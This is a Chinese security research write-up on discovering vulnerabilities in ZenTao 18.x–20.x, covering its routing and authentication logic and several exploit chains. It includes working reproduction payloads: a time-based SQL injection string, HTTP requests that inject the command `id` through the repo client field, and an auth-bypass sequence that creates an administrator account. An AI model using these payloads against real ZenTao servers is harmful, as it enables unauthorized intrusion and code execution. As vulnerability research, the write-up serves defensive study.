禅道18.x-20.x版本漏洞挖掘思路分析
字数 2095 2025-08-22 22:47:30

禅道18.x-20.x版本漏洞挖掘思路分析

1. 框架分析

1.1 路由分析

禅道入口文件有三个:

  • api.php(接口)
  • index.php
  • x.php

三者路由文件主要思路相似,都会引用以下四个基本文件:

include '../framework/router.class.php'; // 路由文件
include '../framework/control.class.php'; // 控制器文件
include '../framework/model.class.php'; // 模型文件
include '../framework/helper.class.php'; // 助手函数

通过router::createApp进行程序应用创建:

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

// baseRouter::createApp()方法
public static function createApp(string $appName = 'demo', string $appRoot = '', string $className = '', string $mode = 'running') {
    if(empty($className)) $className = self::class;
    return new $className($appName, $appRoot, $mode);
}

index.php入口文件会进行router实例化触发__construct,实现多项程序配置:

public function __construct(string $appName = 'demo', string $appRoot = '', string $mode = 'running') {
    // 多项配置设置...
    $this->loadMainConfig(); // 加载config目录下默认的config.php文件
    $this->loadClass('front', $static = true);
    // 更多类加载...
    $this->connectDB(); // 自动连接数据库
    // 更多设置...
}

路由处理流程:

  1. $app->parseRequest() - 根据请求类型(PATH_INFO/GET)解析URL
  2. $app->setParams() - 参数设置
  3. $common->checkPriv() - 权限检测
  4. $app->loadModule() - 模块加载

1.2 鉴权分析

通过commonModel::checkPriv进行鉴权,$openMethods数组存储允许未授权访问的方法,还可以在isOpenMethod方法中判定是否可以未授权访问。

isOpenMethod方法列举了可以未授权访问的方法:

public function isOpenMethod(string $module, string $method): bool {
    if(in_array("$module.$method", $this->config->openMethods)) return true;
    if($module == 'block' and $method == 'main' and isset($_GET['hash'])) return true;
    if($this->loadModel('user')->isLogon() or ($this->app->company->guest and $this->app->user->account == 'guest')) {
        if(stripos($method, 'ajax') !== false) return true;
        // 更多开放方法判断...
    }
    return false;
}

用户认证方式:

  1. userModel::isLogon() - 判断用户是否登录
  2. identifyByCookie - 通过cookie认证
  3. identifyByPhpAuth - 通过PHP server用户认证

本质都是通过userModel::identifyUser验证用户和密码,默认通过比对32位md5值校验。

2. 近两年RCE漏洞分析

2.1 baseRouter::setVersion SQL注入

baseRouter::setVision()方法没有对$account过滤直接拼接到SQL语句并执行,存在SQL注入。

触发方式:在请求中GET或POST添加account参数并写入payload:

/?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b

2.2 captcha session+repoModel命令注入

2.2.1 captcha获取session

module/misc/control.phpcaptcha方法能设置任意key的session:

public function captcha($type = '') {
    $this->session->set($type, $this->post->captcha);
    // ...
}

2.2.2 后台repoModel命令注入

module/repo/model.phpcheckConnection函数存在命令注入:

public function checkConnection() {
    if($this->post->SCM == 'Subversion') {
        $client = $this->post->client;
        exec("$client --version", $version, $result);
        // ...
    }
}

绕过checkClient方法:

  • 创建仓库时SCM设置为Gitlab可以绕过第一次checkClient
  • 编辑仓库时修改SCM为Subversion触发checkConnection执行命令

2.2.3 漏洞复现步骤

  1. 通过访问验证码获取session:

    /zentao/misc-captcha-user.html
    
  2. 创建仓库(SCM设置为Gitlab):

    POST /zentao/repo-create.html HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
    
  3. 编辑仓库触发命令执行(SCM改为Subversion):

    POST /zentao/repo-edit-10000-10000.html HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    SCM=Subversion&client=`id`
    

2.3 captcha session+convert-importNotice SQL注入+定时任务RCE

漏洞链:

  1. convertModel::dbExists()方法存在SQL注入
  2. convert::importNotice()调用dbExists且未过滤外部数据
  3. 通过堆叠注入修改定时任务实现RCE

2.4 custom::ajaxSaveCustomFields+apiGetModel+repoModel::checkConnection命令注入

漏洞链:

  1. custom::ajaxSaveCustomFields未过滤外部输入直接修改配置
  2. 修改$config->features->apiGetModel开启超级Model功能
  3. api::getModel()通过call_user_func_array实现任意代码执行

2.5 testcase::saveXmindImport auth bypass

2.5.1 deny获取session

commonModel::deny()方法可以设置session绕过身份认证:

public function deny(string $module, string $method, bool $reload = true) {
    if($reload) {
        $user = $this->app->user;
        // 获取权限...
        $this->session->set('user', $user);
        // ...
    }
}

testcase::saveXmindImport调用deny方法:

public function saveXmindImport() {
    if(!commonModel::hasPriv('testcase', 'importXmind')) 
        $this->loadModel('common')->deny('testcase', 'importXmind');
    // ...
}

2.5.2 api接口创建用户

usersEnty::post()可以创建用户,没有权限检查:

public function post() {
    // 设置用户信息...
    $control = $this->loadController('user', 'create');
    $this->requireFields('account,password1,realname');
    $control->create();
    // ...
}

2.5.3 漏洞复现步骤

  1. 设置session:

    /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest
    
  2. 创建用户(POST请求):

    POST /zentao/api.php/v1/users HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    account=attacker&password1=123456&realname=attacker&group=1&role=top
    

3. 漏洞挖掘思路总结

  1. 路由分析:理解禅道的路由机制,关注isOpenMethod$config->openMethods定义的白名单
  2. 鉴权绕过:寻找可以设置session的地方,如captchadeny方法
  3. SQL注入:搜索直接拼接SQL语句的地方,特别是PDO允许多语句执行的情况
  4. 命令注入:查找execsystem等函数调用,分析参数是否可控
  5. 配置修改:寻找可以修改系统配置的接口,如custom::ajaxSaveCustomFields
  6. API滥用:检查API接口的权限控制,特别是超级Model功能
  7. 定时任务:分析定时任务执行机制,寻找注入点修改任务内容

通过系统性地分析禅道的框架机制和权限控制,可以有效地发现潜在的安全漏洞。

禅道18.x-20.x版本漏洞挖掘思路分析 1. 框架分析 1.1 路由分析 禅道入口文件有三个: api.php(接口) index.php x.php 三者路由文件主要思路相似,都会引用以下四个基本文件: 通过 router::createApp 进行程序应用创建: index.php 入口文件会进行router实例化触发 __construct ,实现多项程序配置: 路由处理流程: $app->parseRequest() - 根据请求类型(PATH_ INFO/GET)解析URL $app->setParams() - 参数设置 $common->checkPriv() - 权限检测 $app->loadModule() - 模块加载 1.2 鉴权分析 通过 commonModel::checkPriv 进行鉴权, $openMethods 数组存储允许未授权访问的方法,还可以在 isOpenMethod 方法中判定是否可以未授权访问。 isOpenMethod 方法列举了可以未授权访问的方法: 用户认证方式: userModel::isLogon() - 判断用户是否登录 identifyByCookie - 通过cookie认证 identifyByPhpAuth - 通过PHP server用户认证 本质都是通过 userModel::identifyUser 验证用户和密码,默认通过比对32位md5值校验。 2. 近两年RCE漏洞分析 2.1 baseRouter::setVersion SQL注入 baseRouter::setVision() 方法没有对 $account 过滤直接拼接到SQL语句并执行,存在SQL注入。 触发方式:在请求中GET或POST添加 account 参数并写入payload: 2.2 captcha session+repoModel命令注入 2.2.1 captcha获取session module/misc/control.php 中 captcha 方法能设置任意key的session: 2.2.2 后台repoModel命令注入 module/repo/model.php 的 checkConnection 函数存在命令注入: 绕过 checkClient 方法: 创建仓库时SCM设置为Gitlab可以绕过第一次 checkClient 编辑仓库时修改SCM为Subversion触发 checkConnection 执行命令 2.2.3 漏洞复现步骤 通过访问验证码获取session: 创建仓库(SCM设置为Gitlab): 编辑仓库触发命令执行(SCM改为Subversion): 2.3 captcha session+convert-importNotice SQL注入+定时任务RCE 漏洞链: convertModel::dbExists() 方法存在SQL注入 convert::importNotice() 调用 dbExists 且未过滤外部数据 通过堆叠注入修改定时任务实现RCE 2.4 custom::ajaxSaveCustomFields+apiGetModel+repoModel::checkConnection命令注入 漏洞链: custom::ajaxSaveCustomFields 未过滤外部输入直接修改配置 修改 $config->features->apiGetModel 开启超级Model功能 api::getModel() 通过 call_user_func_array 实现任意代码执行 2.5 testcase::saveXmindImport auth bypass 2.5.1 deny获取session commonModel::deny() 方法可以设置session绕过身份认证: testcase::saveXmindImport 调用 deny 方法: 2.5.2 api接口创建用户 usersEnty::post() 可以创建用户,没有权限检查: 2.5.3 漏洞复现步骤 设置session: 创建用户(POST请求): 3. 漏洞挖掘思路总结 路由分析 :理解禅道的路由机制,关注 isOpenMethod 和 $config->openMethods 定义的白名单 鉴权绕过 :寻找可以设置session的地方,如 captcha 和 deny 方法 SQL注入 :搜索直接拼接SQL语句的地方,特别是PDO允许多语句执行的情况 命令注入 :查找 exec 、 system 等函数调用,分析参数是否可控 配置修改 :寻找可以修改系统配置的接口,如 custom::ajaxSaveCustomFields API滥用 :检查API接口的权限控制,特别是超级Model功能 定时任务 :分析定时任务执行机制,寻找注入点修改任务内容 通过系统性地分析禅道的框架机制和权限控制,可以有效地发现潜在的安全漏洞。